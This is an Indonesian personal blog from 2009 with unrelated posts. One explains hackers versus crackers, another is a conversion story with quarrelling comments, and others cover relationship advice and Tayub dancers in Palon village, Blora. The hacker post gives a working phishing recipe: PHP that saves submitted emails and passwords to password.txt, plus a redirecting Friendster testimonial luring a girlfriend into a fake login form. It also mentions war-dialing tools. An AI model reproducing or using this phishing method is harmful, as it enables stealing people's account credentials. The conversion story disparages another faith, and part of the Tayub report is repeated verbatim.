Minggu, 26 April 2009
apa itu hacker
Mungkin teman - teman sudah sering yach ....!!! mendengar istilah Hacker atau . Namun, apa yang dimaksud Hacker & Cracker ? Lalu apa perbedaannya ? itu masih binggung x ya....!!!
Nah .... dalam perkembangan teknologi yang semakin pesat banget.....
saking pesatnya semakin meningkatnya tingkat kriminalitas deh... biasanya sih pelakunya oleh penjahat lewat internet. Seorang penjahat internet yang tidak tanggung - tanggung menguras habis uang suatu perusahaan hanya dalam hitungan menit melalui internet. Coba hebat banget ga... dalam hitungan menit ja bisa dapet uang banyak... tapi ga boleh cari uang dengan cara itu ya ...mang mau di bilang penjahat gitu, klo saya mah ga mau ah...
Lalu, Siapa Penjahat Internet Tersebut ?
Penjahat tersebut biasanya disebut dengan istilah ” Cracker”. Sepengetahuan saya Crecker itu dalam bahasa inggris itu artinya petasan / biskuit kering gitu deh ... tapi bukan itu yang kiata maksud, melainkan Crecker itu cuma sebutan buat penjahat di dunia maya ja. Crecker itu adalah musuh besarnya Hacker karena memiliki tujuan yang berkebalikan. Kalo Cracker memiliki tujuan untuk merusak komputer melalui internet. kalo Hacker sebalikannya untuk mengamankan sistem pertahanan komputer. Banyak orang yang menganggap bahwa hacker sama dengan cracker padahal jauh beda baget tau, hanya sama- sama orang itu megang komputer maksudnya sama- sama bisa mengerti sistem keamanan komputer. Banyak baget loh perusahan –perusahan besar mint bantuan sama hacker untuk memproteksi sistem keamanan komputer perusahaan, beberapa perusahaan besar tersebut adalah Google, Yahoo, Microsoft, dan berbagai perusahaan lainnya
Apa Itu Hacker ?
Nah.... tadi kan kita sudah membahas sedikit tentang Hacker, apa itu Hacker ? menurut saya hacker itu sebutan untuk mereka yang tertarik dan suka mengutak atik komputer ,suka membantu dan memberikan sumbangan yang bermanfaat kepada jaringan komputer, membuat program kecil dan membagikannya dengan orang-orang di Internet.
Siapa hacker ?
Teman - teman tau engga siapa hacker itu ? yang pastinya hacker itu orang lah... orang yang bisa dan mengerti tentang komputer dalam membuat aplikasi sebuah algoritma dapat memecahkan masalah seputar logika atau analisa.
Apa yang di Hack ?
Biasanya sih... yang di hack oleh hacker seperti User name dan Password Friendster, Yahoo, My Space, Blogger, Wodpress,Klik bca dan masih banyak lagi deh...
Bagaiman meng-hack ?
Sekarang kita akan membahas tentang bagaiman meng-hack, apakah anda menpunyai Friensdter, ada juga friendster yang di jebol sama hacker loh ….
Caranya adalah .......
pertama-tama yang harus dipersiapkan adalah
1.isilah kode php dan JavaScript di bawah ini dan ” SAVE As ” sesuai dengan nama link yg dituju pada Form Login.
$email = $_POST[email];
$password = $_POST[password];
$fl = fopen(’password.txt’, ‘a’);
fwrite($fl, “$email . $password \n\n”);
fclose($fl);
?>
Dan upload file diatas ke www.webyangsupportphp.com
2.Buat file Text kosong dengan nama Sesuai perintah Open pada php code di atas. Jangan lupa CHMOD diganti sesuai dengan kebutuhan kamu!!.
3.Ketik testynya…
“sayang….gimana kabar kamu…”
Nah…udah gitu… Setelah sang pacar penerima testi membuka “New Testimonials”, maka sesuai dg perintah yang berada di JavaScript => window.location <= yg disisipkan maka link akan menuju ke http://webyangsupportphp.com/index.htm . setelah terbuka, secara tanpa sadar sang pacar mengira halaman yg terbuka adalah sungguhan. Ya !!!! tanpa disuruh, dibelai-belai, n tanpa rayuan maut pun sang pacar akan dengan rela hati mengisi Form login tipuan. Selain itu teknik diatas akan terlihat seperti aslinya jika menggunakan ” OVERLAY GENERATOR ” pada profil fs pada saat pengiriman testimonial yg berisi html code ( index.htm). Dg mengganti link Relatif menjadi absolut(baca S.I.H lebih lanjut) pada form login di index.htm maka pada saat pengiriman data akan menuju ke http://webyangsupportphp.com/login.php. ngerti ga?, ngga yah?, iya sama!, hihihi
Mengapa meng-hacking ?
Mengapa ya….?? Ya ilah meng-hacking kalo tidak meng-hacking terus hacker kerjaannya apa donk...?? masa nganggur sih...., jadi mengapa meng-hacking ?Karena hacker memiliki tujuan untuk mengamankan atau memproteksi sistem pertahanan komputer untuk menjaga jaringan dari kemungkinan perusakan pihak luar "cracker", menguji jaringan dari kemungkinan lobang yang menjadi peluang para cracker mengobrak - abrik jaringannya. Pasti bahaya ya.. kalo cracker dapat menyusup dalam jaringan komputer bisa-bisa kebobolan deh....
Perbedaan dan Persamaan Hacker dan Cracker ?
Dalam Hacker dan Cracker ada perbedaan dan persamaannya loh... jadi kita bisa melihat bahwa crecker itu berbeda. Persamaan Hacker dan Krecker adalah Sama-sama melakukan aktivitas penyusupan terhadap jaringan. Keduanya berusaha untuk mendapatkan akses terhadap semua user di dalam jaringan tersebut. Dan perbedaan Hacker dan Crecker adalah Cracker biasanya bertujuan untuk melakukan pengrusakan, misalnya mengubah data pengguna, menyebarkan virus, menghapus data, bahkan mengubah tampilan situs (defacing).Cracker berkonotasi negative dibandingkan dengan Hacker. Dan Hacker biasanya hanya menembus ke dalam jaringan dan memberitahukan bahwa ada kelemahan dalam jaringanyang sudah berhasil ditembusnya tersebut, agar dapat lebih disempurnakan lagi.
Jaringan adalah cara untuk meng-hack, Contohnya ?
Jaringan adalah alat media untuk meng-hack suatu jaringan komputer.
oh.. iya.. ada satu kasus dimana sistem dengan cara menghubungi telepon yang dicurigai ada akses ke jaringan dengan modem. Biasanya yang menjadi sasaran itu nomor telepon perusahaan besar yang kemungkinan besar memiliki akses jaringan. mereka menghubungi nomor-nomor telepon yang berdekatan sampai menemukan nomor yang memberikan sinyal carrier. Jika sinyal carrier ini ditemukan mereka merasa senang karena menemukan celah untuk menyusup ke komputer yang terhubung melalui modem dan line telepon. Yah…Walaupun caranya manual, lama-lama mereka jadi keseringan dengan program khusus yang disebut Prefix Scanner, Demon Dialer, atau War Dialer. Salah satu contoh dari program tersebut adalah ToneLoc. Wah... Banyak banget ya.... kejahatan dalam kehidupan maya, apa lagi di internet dalam hitungan menit aja jaringn itu bisa di bobol sama crecker.
Kesimpulan :
Para hacker menggunakan keahliannya dalam hal komputer untuk melihat, menemukan dan memperbaiki kelemahan sistem keamanan dalam sebuah sistem komputer ataupun dalam sebuah software. Oleh karena itu, berkat para hacker-lah Internet ada dan dapat kita nikmati seperti sekarang ini, bahkan terus di perbaiki untuk menjadi sistem yang lebih baik lagi. Maka hacker dapat disebut sebagai pahlawan jaringan sedang cracker dapat disebut sebagai penjahat jaringan karena melakukan melakukan penyusupan dengan maksud menguntungkan dirinya secara personallity dengan maksud merugikan orang lain. Hacker sering disebut hacker putih (yang merupakan hacker sejati yang sifatnya membangun) dan hacker hitam (cracker yang sifatnya membongkar dan merusak)
Kamis, 16 April 2009
kisah muallaf
Paulus F. Tengker Bermimpi : Yesus VS Nabi Isa
Tanggal : 22/12/2005
Kisah nyata di bawah ini dari seorang mantan Pendeta Muda bernama Paulus F. Tengker sebagai bahan perenungan bagi kita umat Islam.
A. Mengapa saya masuk Islam?
Keterkaitan saya kepada Islam bukan dari buku-buku yg saya baca, karena buku-buku itu tak pernah saya baca dengan sepenuh hati dan sampai tuntas, saya hanya mencari poin-poin tertentu saja. Saya masuk Islam bukan setelah bertemu atau berdiskusi dengan orang Islam, karena saya selalu menganggap dan diajarkan bahwa orang-orang Islam itu sebagai orang-orang yang hina, kotor, bodoh dan terkebelakang.
Ajaran Islam dinyatakan sebagai ajaran sesat dan umat kalau tidak kita hinakan harus kita insyafkan. Hal-hal inilah yang tertanam dalam benak saya sejak kecil hingga dewasa ini. Saya masuk Islam justru setelah mengalami suatu mimpi yang luar biasa dan beberapa kejadian keesokan harinya, yang akhirnya merubah jalan hidup saya menuju kebenaran sejati.
B. Bermimpi Yesus VS
Bermula pada malam jum?at tanggal 11 January 2001 yang lalu, saya bermimpi sedang bedo?a di hadapan gambar Yesus di suatu gereja yang megah, lalu datanglah Tuhan Yesus menemui saya dengan senyum-Nya yang agung! Saya bahagia sekali, ini adalah mukjizat bagi saya.
Saya pun memandang Tuhan Yesus dari ujung rambut, sungguh mirip sekali bahkan lebih agung dibandingkan foto dan gambar Tuhan Yesus yang saya miliki. Tetapi sesaat kemudian datang menghampiri kami seorang pria berwajah Arab Palestina mirip Yahudi atau
Dia berkata: ?Kalian ini siapa??
Saya menjawab: ?Saya seorang domba yang sedang bertemu Tuhannya!?.
Orang Yahudi tersebut bertanya: ?Mana Tuhannya??.
Tuhan Yesus menyela: ?Akulah Tuhan Yesus. Juru Selamat Umat Manusia dan Dunia, siapa engkau wahai pria asing??.
Pria Yahudi itu berkata: ?Akulah Isa Al Masih dan Engkau bukanlah diriku!?.
Saya menyela: Wahai engkau orang Yahudi ataukah Arab, janganlah kamu berbuat begitu dengan Tuhanku!?
Pria Yahudi itu berkata: ?Kalau begitu buktikanlah bahwa kamu adalah Yesus atau Isa as sebenarnya.
Tuhan yesus berkata: ?Engkau akan kujadikan domba hina karena telah menghina Tuhanmu!?
Lalu Tuhan Yesus memejamkan mata dan sungguh ajaib! Dari tangannya keluar mukjizat besar api dan dia menyemburkan api tersebut kepada pria Yahudi tersebut.
Pikir saya, pria Yahudi itu akan binasa karena telah berani menghina Tuhan Yesus saya. Namun keajaiban kedua terjadi, ternyata pria Yahudi yang mengaku Isa as itu tidak apa-apa dan malah tersenyum, bahkan kemudian api itu malah menyembur kepada Tuhan Yesus, lalu Tuhan Yesus menjerit kesakitan dan berubah wujudnya.
Kedua telinganya memanjang dan dari mulutnya keluar gigi taring dan dari belakang tubuhnya keluar ekor, wajahnyapun berubah mengerikan. lalu salah satu tangannya mendadak memegang sebuah tombak seperti garpu!... Tuhan Yesus yang saya lihat dalam mimpi itu berubah menjadi Iblis!!! Yesus yang telah berubah wujud menjadi Iblis itu lari terbirit-birit. Gereja megah tempat saya berdoa tiba-tiba menghilang menjadi gurun tandus.
Saya kaget dan tidak percaya dengan kejadian ini. Kemudian saya bertanya kepada pria Yahudi tersebut. Ia menjawab bahwa Ia adalah Isa Al-Masih, hamba Allah, Rasul Allah yang ke-24.
Saya berkata lagi kepadanya, bukankah engkau sudah mati di kayu salib dan berkorban demi menebus dosa umat manusia ??
Nabi Isa AS menyatakan kepada saya bahwa bukan seperti itu kejadiannya. Jadi selama ini saya telah terpedaya iblis. Saya berkata lagi, jadi iblis tadi itu ?. jadi selama ini ?????.
Nabi Isa AS kemudian menukas, sudahlah maukah engkau saya tunjukkan kebenaran Ilahi sejati? Tetapi siapkah engkau berkorban banyak; engkau akan kehilangan pekerjaan, hidup miskin, kehilangan teman dan dibenci banyak orang? Saya mengangguk bersedia.
Kemudian pria Yahudi itu mengucapkan salamnya sebagaimana salam orang Islam lalu pergi .
Saya terbangun, saya pikir ini hanyalah mimpi. Tetapi kemudian saya merenungi apa makna mimpi itu? Kemudian saya buka-buka buku Islam yang saya miliki. Tiba-tiba saja saya menemukan banyak hal yang belum saya temui. Tapi saya belum yakin benar.
C. Diskusi dengan Ustadz
Ketika hendak pergi ke sekretariat gereja, mendadak mobil saya mogok di depan sebuah masjid, saya kaget, mengapa mobil saya tiba-tiba mogok di depan masjid? Saat saya tidak mengerti hal itu, tiba-tiba datang seorang pria yang menghardik saya dan meminta dompet dan HP saya. Saya kaget dan takut. Lalu saya berlari ke dalam masjid tersebut. Setelah itu saya tidak tahu apa-apa lagi (Jatuh Pingsan).
Menurut bapak pengurus masjid itu saya baru saja pingsan. Kemudian saya pulang dan tidak jadi ke gereja. Tiga jam kemudian saya balik lagi ke masjid tersebut. Saya lalu ikut pengajian yang di pimpin bapak tua itu. Disaksikan banyak jamaah saya berdiskusi dgn bapak tua itu.
Ternyata diskusi berlanjut hingga seminggu lamanya mengenai Islam dan Kristen. Dari diskusi itu saya baru mengetahui bahwa kitab suci saya telah mengalami perubahan dan revisi.
Kemudian saya berdiskusi dengan teman-teman se-gereja, mereka kaget dengan perubahan sikap saya, mereka malah menyatakan saya telah kena guna-guna dan roh jahat dari guru ngaji dan buku-buku islam yang saya miliki. Oleh karena itu mereka kemudian melakukan upacara pengusiran roh jahat dari rumah dinas saya, sikap mereka sanagat kontras dengan sikap bapak tua dan jamahnya.
D. Saya Memeluk Islam
Dengan peristiwa ini, saya yakin bahwa agama saya ini sesat. Dan saya harus segera mengambil keputusan. Akhirnya melalui pertimbangan yang matang dan menimbang segala resikonya, saya mantapkan diri untuk masuk Islam pada tanggl 21 Januari 2001 jam 10.00. saya berikrar mengucapkan dua kalimat syahadat. Saya mengganti nama menjadi Rachmad Hidayat .
Keputusan saya ternyata mendapat pertentangan. Orang tua saya murka dan saya tidak diakui sebagai anak lagi oleh mereka. Semua fasilitas gereja saya kembalikan. Tapi oleh gereja saya dinyatakan sebagai pencuri inventaris dan dilaporkan ke polisi.
Saya kemudian mendapat bimbingan dari Bapak tua yang ternyata adalah seorang ustadz dan ketua masjid. Saya terus belajar Islam. Untuk biaya hidup saya kemudian berusaha kecil-kecilan. Saya bahagia dalam keislaman saya, walau hidup pas-pasan.
5 KOMENTAR TERAKHIR
umpu kakah-- tanggal : 2009-04-15
kasian ya paulus tengker,mau2nya ikut ajaran orng yg ngaku2 nabi.
IRANium-- tanggal : 2009-04-15
Hal yang sangat luar biasa bagi yesus adalah ketika beliau mendakwakan hanya menyembah kepada ALLAH yang satu, tidak ada yang lainnya.
vladimir-- tanggal : 2009-04-15
to Mr.C0ng0 atau ichad, kalau anda kira/pikir al-quran itu buatan manusia, silahkan buatlah ayat oleh kalian yang seperti al-qur an.
apakah anda tidak mengetahui atau pura-pura tidak tahu tentang KEONTETIKAN AL-QUR AN.
AL-QURAN TIDAK PERNAH BERUBAH DARI MASA KE MASA SAMPAI DETIK INI. kalau ga perya buat penelitiannya.
DARI JAMAN DULU MISIONARIS GA PERNAH BISA MEMALSUKAN AL-QUR AN.
kalau anda merasa ilmiah BUATLAH RESEARCH MENGENAI KEOTENTIKAN AL-QURAN DAN SEJARAH PERKEMBANGAN ISLAM DUNIA.
silahkan buka kesaksian para mualaf di www.mualaf.com/
kalau menurut anda, anda itu seorang penuntut ilmu/ ilmiah silahkan buat research keontentikan al-qur an atau bandingkan INJIL dan AL-QUR AN atau tentang keindahan AL-QUR AN.
sebelum lepasnya ruh dari badan belum ada kata terlambat....
THE HOLY QURAN FROM GOD.
ichad-- tanggal : 2009-04-13
hal yang terlalu bodoh bagi yesus mengubah seorang menjadi domba...
anda terlalu bodoh meninggalkan yesus dengan hal semacam itu yang tidak relistis....
apakah yesus pesulap???
ichad-- tanggal : 2009-04-13
saya ingin bertanya pada
alquran produknya siapa??
anda memberikan komentar yang selalu kurang berbobot....
Selasa, 14 April 2009
Cinta Lama Bersemi Kembali
KOMPAS.com — Anda bertemu seorang mantan pacar, dan segera menyadari bahwa Anda berdua masih menyimpan perasaan yang sama. Anda teringat kembali dengan masa-masa manis ketika bersamanya, tetapi juga mengkhawatirkan akan mengulang kesalahan yang membuat hubungan Anda dulu berakhir. Bagaimana mengetahui bahwa cinta lama yang bangkit kembali ini (CLBK) perlu dilanjutkan ke arah yang lebih serius, ataukah lebih baik kita melupakan masa lalu saja?
Bila Anda becermin kepada pengalaman orang lain, mungkin akan ada kelompok yang memilih untuk memberikan kesempatan kedua bagi seorang mantan. Bagaimana pun juga, setiap orang bisa melakukan kesalahan, dan patut dimaafkan. Namun kelompok yang lain mengambil pilihan kedua: jika seorang mantan telah menyakiti Anda, atau kepribadian Anda berdua memang tidak pernah bisa saling melengkapi, untuk apa mencobanya lagi?
Perpisahan yang dulu terjadi seharusnya telah memberi Anda waktu untuk berpikir apa yang salah dengan hubungan Anda saat itu. Inilah yang bisa dijadikan pijakan untuk membuat pilihan saat ini. Meskipun begitu, perlu Anda sadari bahwa tidak ada jaminan bahwa kesempatan kedua yang Anda berikan ini akan membuat hubungan menjadi langgeng. Bila masih ada keraguan untuk melanjutkan hubungan, pikirkan hal ini:
1. Seburuk apa situasi yang ditimbulkan akibat perpisahan dulu terhadap hidup Anda?
2. Apakah Anda melihat perubahan yang baik pada sikap mantan kekasih?
3. Apakah hidup Anda akan lebih baik bersamanya?
Bila Anda mampu menjawab semua pertanyaan tersebut dengan jujur, kini saatnya Anda berdialog dengan mantan kekasih mengenai kemungkinan untuk menjalin kembali hubungan yang sempat terputus. Pastikan:
Masih ada cinta di antara Anda. Apakah hanya Anda yang menginginkan hubungan ini, atau hanya dia yang masih merasakan cinta? Hubungan hanya akan terjadi bila diinginkan oleh kedua belah pihak. Jika Anda masih merasa belum yakin, artinya Anda masih membutuhkan waktu untuk memahami perasaan dan keinginan Anda. Hati-hati, jangan mencampuradukkan cinta dengan kebutuhan akan pasangan.
Atasi keraguan. Apa yang membuat Anda berpikir bahwa kali ini hubungan akan berhasil? Berpikirlah dengan jujur, karena keraguan akan menghancurkan semua usaha Anda. Pahami, keraguan apa yang Anda rasakan, dan cobalah untuk mengatasi hal tersebut lebih dulu. Jika Anda memutuskan untuk kembali bersama mantan, miliki keyakinan untuk dapat mengatasi keraguan yang ada.
Hadapi masalah Anda berdua. Bersediakah Anda dan mantan untuk saling memperbaiki diri, dan menghadapi masalah yang pernah Anda alami bersama? Ingatlah, bahwa Anda tidak mungkin meminta orang lain mengubah sifatnya. Akuilah bahwa Anda juga memiliki kesalahan yang menyebabkan putusnya hubungan. Apakah Anda terlalu pasif, posesif, tidak sensitif, tidak mau mendengarkan, atau tidak mampu berempati dengan mantan? Lalu pikirkan, apakah Anda dapat memberikan reaksi yang berbeda jika terjadi masalah seperti itu lagi? Bicarakan dengan pasangan, dan katakan apa yang dapat Anda lakukan untuk memperbaiki hal ini.
Komitmen. Mengakui bahwa Anda memiliki peran dalam masalah adalah bagian dari penyembuhan diri. Membangun kembali fondasi hubungan diawali dengan membuat komitmen untuk mengatasi masalah yang ada satu per satu. Hal ini membutuhkan waktu, sehingga Anda perlu belajar bersabar, namun tetaplah konsisten.
Saat berdialog mengenai apa yang harus diubah dalam hubungan, cobalah untuk tidak saling mengkritik atau pun menyalahkan. Fokuslah pada apa yang menjadi tanggung jawab Anda, dan pastikan pasangan juga melakukan hal yang sama.
Kamis, 12 Maret 2009
AADP(ada apa dengan Palon)
Ada Apa di Desa Palon
Kami menuju Desa Palon, Kecamatan Jepon, Kabupaten Blora. Desa Palon di era 70 an hingga tahun 80 an dikenal sebagai tempat para primadona Tayub berasa.
Bahkan nama Palon pun sempat menyandang predikat buruk, akibat banyak dari para penari itu yang lalu melacurkan diri. Alasannya kesulitan ekonomi. Apalagi kompetisi cukup ketat.
Banyak perempuan di Palon yang bekerja sebagai penayub. Di Desa Palon, kami menemui Sulasih, mantan penari Tayub era 80 an.
Walau dunia Tayub sudah ia tinggalkan, tapi masih lekat dalam ingatannya betapa dunia seni ini punya citra negatif. Sulasih belajar Tayub sejak usia 15 tahun. Waktu itu ekonomi keluarga Sulasih sangat sulit. Dengan modal nekad, Sulasih pun terjun menjadi penari Tayub.
Selama 8 tahun, ia menjadi penari Tayub, Sulasih memang bisa menghidupi ibu dan nenek yang jadi tanggungannya. Tapi disisi lain, berbagai pengalaman pahit sering menerpanya. Dari mulai cemo-ohan hingga pelecehan seksual.
Sulasih pun akhirnya keluar dari dunia Tayub. Itupun karena ia dijadikan selir. Bagi Sulasih, tak masalah ia hanya jadi istri kedua. Yang penting hidupnya ada yang menjamin.
Sulasih sendiri membantah dirinya pernah menjajakan diri sewaktu jadi penari Tayub. Tapi ia tidak menampik, ada sebagian penari yang seperti itu. Biasanya, status mereka belum menikah.
Di sisi lain pentas Tayub yang sering mengundang lelaki iseng juga turut disemarakan oleh hadirnya para perempuan yang bukan penari, tapi terang-terangan menjual diri. Salah satunya Wakimi, tanpa sungkan ia mengakui perbuatannya. Masalah ekonomi itulah alasannya.
Karena itu Wakimi tidak segan-segan melakukan pekerjaan ini secara terbuka dengan melayani lelaki baik di rumahnya sendiri maupun di luar rumah. Walau Wakimi bukan penari Tayub, tapi tak bisa dipungkiri hal ini membuat citra Tayub semakin miring.
Desa Palon sebagai gudangnya para penari Tayub di Blora turut kena getahnya. Warga setempat pun banyak yang gerah. Apalagi sering terjadi perkelahian saat Tayub digelar.
Tahun 70 hingga 80 an, hampir 20 persen penari Tayub di Desa Palon berprofesi sebagai pekerja seks. Sebuah kondisi yang sungguh tak sedap bagi warga Palon.
Bagaimana Mengubahnya
Sebetulnya bila ditelaah tidak ada yang salah dengan bentuk kesenian ini. Tidak berbeda dengan bentuk tarian lainnya. Kesenian Tayub juga bisa menjadi salah satu bentuk silaturahmi. Seseorang bisa bertemu dengan banyak orang dalam suasana menyenangkan dan penuh kegembiraan.
Dalam Tayub, tidak ada aturan baku baik yang dilakukan penayub maupun pengibing dalam mengerakkan tangan dan kaki mereka. Gerakan yang dilakukan bebas-bebas saja tergantung perasaan masing-masing ngikuti alunan lagu. Semua senang, semua gembira. Sebuah kegembiraan yang harusnya membawa hal positif.
Keberadaan Tayub yang dikaitkan dengan hubungan seks bebas harus dihilangkan. Hal inilah yang disadari oleh warga Palon, termasuk aparat desa dan tokoh agama setempat. Antara lain dengan membangun masjid dan mushola di setiap dusun. Sekolah-sekolah agama juga digiatkan.
Memang tidak ada sanksi tegas bagi mereka yang menjual diri. Kesulitan ekonomi dianggap sebagai wilayah yang amat pribadi. Yang ada sebatas sanksi sosial, dicemooh, dikucilkan warga. Namun toh demikian, perlahan ada hasilnya. Tak sebanyak dulu penari Tayub yang melacurkan diri.
Selain pendekatan secara agama, juga dilakukan pendekatan ke sekolah-sekolah. Sementara itu para penari Tayub juga kini dikelola secara profesional melalui pelatihan khusus dari Pemda Blora. Tidak liar seperti dulu lagi.
Sebagai sebuah kesenian rakyat, sudah sewajarnya dalam Tayub semua gembira bersama tanpa mengenal batas golonga. Pejabat pemerintah, warga biasa, kaya dan miskin, semua lebur bersama, tanpa melupakan ada batasan susila yang harus dijaga bersama. (Sup)
asal nama desa palon
Palon, Jepon, Blora
Dari Wikipedia bahasa Indonesia, ensiklopedia bebas
Palon adalah sebuah desa di Kecamatan Jepon, Kabupaten Blora, Jawa Tengah, Indonesia. Desa Palon berada di bagian tenggara wilayah kecamatan, dan menjadi ibukota Kecamatan Jepon.
Nama "Palon" konon diambil dari nama seorang patih Majapahit pada masa pemerintahan Raja Brawijaya bernama Sabdo Palon Noyogenggong. Warga setempat meyakini patih tersebut dimakamkan di Desa Palon. Desa Palon dikenal dengan kesenian Tayub-nya, yaitu seni tari yang umumnya diadakan dalam acara pernikahan, dan dibawakan oleh beberapa waranggono, dan para tamu dapat menari bersama dengan diringi dengan gending-gending jawa dan musik gamelan.
atlet PABSI dari desa Palon
Jelang Porprov 2009
BLORA - Sejumlah pelatih beberapa cabang olahraga melaporkan atletnya mendapat tawaran pindah ke kabupaten dan kota lainnya di Jateng menjelang dilaksanakannya Pekan Olahraga Provinsi Jateng (Porprov) 2009 di Solo.
Pelatih atletik Blora, Hery Sutiyono menyatakan beberapa daerah di Jateng membidik atlet Blora guna memperkuat daerah tersebut. Menurutnya tawaran yang disertai iming-iming bonus dan sejumlah fasilitas lainnya disampaikan langsung kepada atlet yang bersangkutan. Atlet tersebut selanjutnya memberitahukan kepada dirinya. ''Ini ancaman serius. Kalau tidak segera diantisipasi, Blora sendiri yang rugi,'' ujarnya, kemarin.
Hery mengatakan. Dia telah memberitahukan tawaran perpindahan atlet Blora itu langsung kepada Ketua Umum KONI HM Warsit dan Pemkab Blora yang diwakili Sekretaris Daerah (sekda) Bambang Sulistya saat pelepasan atlet dari Blora yang akan berlaga di PON XVII 2008, di pendopo rumah dinas bupati, Selasa (1/7). Dia menyebutkan atlet yang mendapatkan tawaran memperkuat kabupaten dan kota lain di Jateng dalam Porprov 2009 adalah atlet yang potensial meraih medali. Salah satunya Noce Matital. ''Kami bersyukur atlet tersebut teryata tidak mau pindah dan tetap memperkuat Blora di Porprov,'' tandasnya.
Perihal kepindahan atlet sebelumnya pernah disampaikan pula pelatih angkat besi dan angkat berat Blora, Muridno. Menurutnya, keberhasilan Surahmad, lifter Blora yang meraih tiga medali emas di Kejuaraan Nasional (Kejurnas) Angkat Besi dan Angkat Berat Remaja dan Yunior di Balikpapan Kalimantan Timur, pertengahan Mei 2008 membuatnya dilirik daerah lain. Sejumlah Pengcab PABBSI dari Kaltim dan Riau berniat memboyong Surahmad ke daerahnya. Tawaran itu tentu saja disertai pula dengan iming-iming sejumlah fasilitas yang bakal diterima Surahmad jika mau pindah dari Blora. Salah satunya akan diangkat menjadi pegawai di salah satu dinas instansi pemerintah maupun swasta.
Muridno menyebutkan tawaran kepada Surahmad untuk pindah dari Blora dan membela daerah lain, sebenarnya tidak hanya datang kali ini saja. Menurutnya saat meraih sejumlah medali emas di kejuaraan di Riau tahun lalu, warga Desa Palon Kecamatan Jepon Blora itu mendapat tawaran serupa. Hanya saja Surahmad tidak terusik. Dia tetap ingin berkumpul dengan keluarganya di Blora.
Menyikapi tawaran perpindahan atlet menjelang Porprov 2009, Ketua KONI Blora HM Warsit menyatakan pihaknya sekuat tenaga akan mempertahankan atlet tersebut. Dia mengakui perhatian yang diberikan kepada atlet berprestasi masih belum sesuai yang diharapkan. Hanya saja, secara bertahap perhatian itu akan lebih ditingkatkan lagi. ''Kami akan koordinasi dengan Pemkab, bagaimana cara mengantisipasi perpindahan atlet tersebut. Bisa jadi dengan penyediaan fasilitas dan jaminan hari tua yang lebih baik lagi,'' katanya.
tayuban from palon
Tayang: Selasa, 24 Januari 2006 Pukul, 12.00 Wib
Reporter: Sudrajat
Juru Kamera: Medi Kuswedi
indosiar.com, Blora - Blora, sebuah kabupaten di Jawa Tengah. Antara lain terkenal dengan kesenian rakyatnya. Kesenian yang konon berawal dari tarian istana yang lalu terbawa jadi sebuah hiburan rakyat. Sebuah seni kelas tinggi yang lalu jadi sebuah hiburan semata.
Bahkan punya stigma buruk bagi penarinya. Ia adalah ledek Tayub atau orang Jawa Tengah menyebutnya dengan istilah Tayuban.
Suatu malam di Kampung Langkok, Kecamatan Jigan, Kabupaten Blora, mereka tengah bersolek untuk tampil di pentas sebuah acara pernikahan. Inilah para penari Tayub itu. Berbalut kebaya dan sanggul, dengan dandanan khas panggung.
Seperti biasa, untuk memeriahkan suasana suka ria sebuah hajatan, sang tuan rumah menyuguhkan Tayuban kepada para tamunya. Kemeriahan ini akan berlangsung dari siang hingga malam. Kamipun tak ingin ketinggalan menyaksikan Tayuban ini.
Konon, dahulu kala, Tayub adalah tari-tarian yang dilakonkan di istana. Namun perjalanan waktu membawanya menjadi sebuah kesenian rakyat yang akrab hadir di tengah masyarakat Jawa Tengah dan sebagian Jawa Timur.
Perjalanana waktu jugalah yang membawa citra Tayub berubah. Minuman keras yang sering hadir dalam acara Tayub kerap memancing keributan. Bahkan para penari Tayub juga turut menyumbang citra buruk terhadap keberadaan tarian ini.
Mudah menjual diri, asal suka sama suka. Parsi dan Parti, dua penari yang beraksi malam ini termasuk penari yang tengah jadi primadona di Blora. Pengibing sebutan bagi penonton yang diundang ke panggung untuk ikut menari, tentu tidak akan melewatkan kesempatan menari bersama sang primadona.
10 tahun lalu, Parti dan Parsi hanya mendapatkan bayaran paling tinggi sebesar 30 ribu rupiah sekali panggung. Namun kini mereka dibayar masing-masing 500 ribu rupiah untuk sebuah pementasan.
Jika musim panen tiba seperti musim panen raya, selama sebulan Parsi dan Parti bisa meraup penghasilan rata-rata 10 juta rupiah. Itu belum termasuk saweran dari pengibing.
Soal lelaki iseng dari mulai yang colek colek hingga mengajak tidur, sudah kenyang mereka lalui. Mereka mengaku tidak pernah tergoda untuk melayaninya.
Untuk menggelar Tayub sehari semalam, lagu-lagu Jawa yang ditembangkan penayub biasanya mencapai 40 lagu. Ini artinya terdapat 40 tarian yang dilakukan sang penayub.
Kekuatan fisik, wajah cantik dan bentuk tubuh seksi serta mampu menguasai lagu-lagu berbahasa Jawa jadi syarat utama bagi penayub. Tapi barang kali yang tak kalah penting, ia harus kebal terhadap godaan para lelaki hidung belang.
Apalagi bagi para penayub yang jarang pentas. Salah melangkah bisa terjerumus. Desa Palon, salah satu desa penghasil penari Tayub di Blora bisa jadi saksi. Betapa desakan kehidupan dapat menutup matahati.
Ada Apa di Desa Palon
Kami menuju Desa Palon, Kecamatan Jepon, Kabupaten Blora. Desa Palon di era 70 an hingga tahun 80 an dikenal sebagai tempat para primadona Tayub berasa.
Bahkan nama Palon pun sempat menyandang predikat buruk, akibat banyak dari para penari itu yang lalu melacurkan diri. Alasannya kesulitan ekonomi. Apalagi kompetisi cukup ketat.
Banyak perempuan di Palon yang bekerja sebagai penayub. Di Desa Palon, kami menemui Sulasih, mantan penari Tayub era 80 an.
Walau dunia Tayub sudah ia tinggalkan, tapi masih lekat dalam ingatannya betapa dunia seni ini punya citra negatif. Sulasih belajar Tayub sejak usia 15 tahun. Waktu itu ekonomi keluarga Sulasih sangat sulit. Dengan modal nekad, Sulasih pun terjun menjadi penari Tayub.
Selama 8 tahun, ia menjadi penari Tayub, Sulasih memang bisa menghidupi ibu dan nenek yang jadi tanggungannya. Tapi disisi lain, berbagai pengalaman pahit sering menerpanya. Dari mulai cemo-ohan hingga pelecehan seksual.
Sulasih pun akhirnya keluar dari dunia Tayub. Itupun karena ia dijadikan selir. Bagi Sulasih, tak masalah ia hanya jadi istri kedua. Yang penting hidupnya ada yang menjamin.
Sulasih sendiri membantah dirinya pernah menjajakan diri sewaktu jadi penari Tayub. Tapi ia tidak menampik, ada sebagian penari yang seperti itu. Biasanya, status mereka belum menikah.
Di sisi lain pentas Tayub yang sering mengundang lelaki iseng juga turut disemarakan oleh hadirnya para perempuan yang bukan penari, tapi terang-terangan menjual diri. Salah satunya Wakimi, tanpa sungkan ia mengakui perbuatannya. Masalah ekonomi itulah alasannya.
